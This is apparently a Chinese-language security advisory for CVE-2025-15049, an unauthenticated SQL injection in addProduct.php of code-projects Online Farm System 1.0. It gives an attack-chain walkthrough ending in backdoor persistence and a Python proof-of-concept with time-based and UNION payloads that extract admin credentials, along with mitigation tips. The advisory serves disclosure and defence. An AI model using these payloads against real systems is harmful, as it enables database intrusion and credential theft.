IPBUF安全漏洞报告
English
CVE-2025-15049 CVSS 7.3 高危

CVE-2025-15049: code-projects Online Farm System 1.0 SQL注入漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-15049
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Online Farm System 1.0

相关标签

SQL注入CVE-2025-15049Online Farm Systemcode-projectsaddProduct.php高危漏洞远程代码执行无需认证

漏洞概述

CVE-2025-15049是code-projects在线农场管理系统1.0版本中的一个高危SQL注入漏洞。该漏洞存在于addProduct.php文件中,未对用户输入的Username参数进行充分的输入验证和SQL语句预编译处理。攻击者可以通过构造恶意的SQL语句片段,利用该参数注入到数据库查询中,从而实现未授权访问数据库、窃取敏感信息、修改或删除数据等操作。由于该漏洞可远程利用且无需认证,攻击门槛较低,对使用该系统的用户构成严重安全威胁。漏洞利用代码已在公开渠道传播,系统管理员应尽快采取修复措施。

技术细节

该SQL注入漏洞位于addProduct.php文件中的Username参数处理逻辑。系统在处理用户提交的Username参数时,直接将该参数值拼接到SQL查询语句中,而未进行严格的输入过滤或使用参数化查询。当攻击者通过HTTP请求向addProduct.php提交包含SQL注入载荷的Username参数时,恶意SQL代码将被数据库服务器执行。攻击者可以利用UNION SELECT、布尔盲注、时间盲注等技术手段获取数据库中的敏感信息,包括用户凭证、管理员账户、订单数据等。由于addProduct.php是产品添加功能的入口点,攻击者可以在未认证的情况下直接发起攻击。CVSS 3.1评分7.3(高危)表明该漏洞具有较高的利用可行性和中等级别的安全影响。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用code-projects Online Farm System 1.0,定位addProduct.php文件
STEP 2
步骤2: 漏洞探测
通过HTTP请求向addProduct.php发送包含SQL注入测试载荷的Username参数,验证漏洞存在
STEP 3
步骤3: 构造恶意载荷
根据数据库类型构造UNION SELECT或时间盲注SQL语句,提取数据库敏感信息
STEP 4
步骤4: 数据窃取
利用SQL注入获取管理员账户、用户凭证、订单数据等敏感信息
STEP 5
步骤5: 权限提升
使用窃取的凭证登录后台管理系统,获取更高权限
STEP 6
步骤6: 持久化控制
通过SQL注入写入恶意代码或创建后门账户,实现长期控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15049 PoC - SQL Injection in Online Farm System 1.0 # Target: /addProduct.php # Parameter: Username def exploit_sqli(url, payload): """ SQL Injection PoC for CVE-2025-15049 This demonstrates blind time-based SQL injection """ target_url = f"{url}/addProduct.php" # Time-based blind SQL injection payload # Adjust sleep time based on database response data = { 'Username': payload, 'ProductName': 'TestProduct', 'ProductPrice': '100' } try: response = requests.post(target_url, data=data, timeout=30) return response except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None def extract_database_version(url): """ Extract MySQL version using time-based blind SQL injection """ # Payload to extract database version payload = "admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" print(f"[*] Sending payload to extract database info...") response = exploit_sqli(url, payload) if response and response.elapsed.total_seconds() > 5: print("[+] SQL Injection confirmed! Database is vulnerable.") return True return False def extract_admin_credentials(url): """ Extract admin credentials using UNION-based injection """ # UNION-based SQL injection to extract admin data payload = "admin' UNION SELECT username,password FROM admin_users-- -" print(f"[*] Extracting admin credentials...") response = exploit_sqli(url, payload) return response if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-15049.py <target_url>") print("Example: python cve-2025-15049.py http://target.com/farm") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] CVE-2025-15049 SQL Injection PoC") print(f"[*] Exploiting: {target}/addProduct.php") if extract_database_version(target): print("[+] Vulnerability confirmed!") print("[*] Next steps: Extract sensitive data using SQL injection")

影响范围

code-projects Online Farm System 1.0

防御指南

临时缓解措施
在修复前,可通过以下临时措施降低风险:1) 在Web服务器层面配置SQL注入检测规则;2) 对addProduct.php实施访问控制,限制非授权访问;3) 启用数据库查询日志监控异常SQL行为;4) 考虑暂时下线受影响功能模块。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表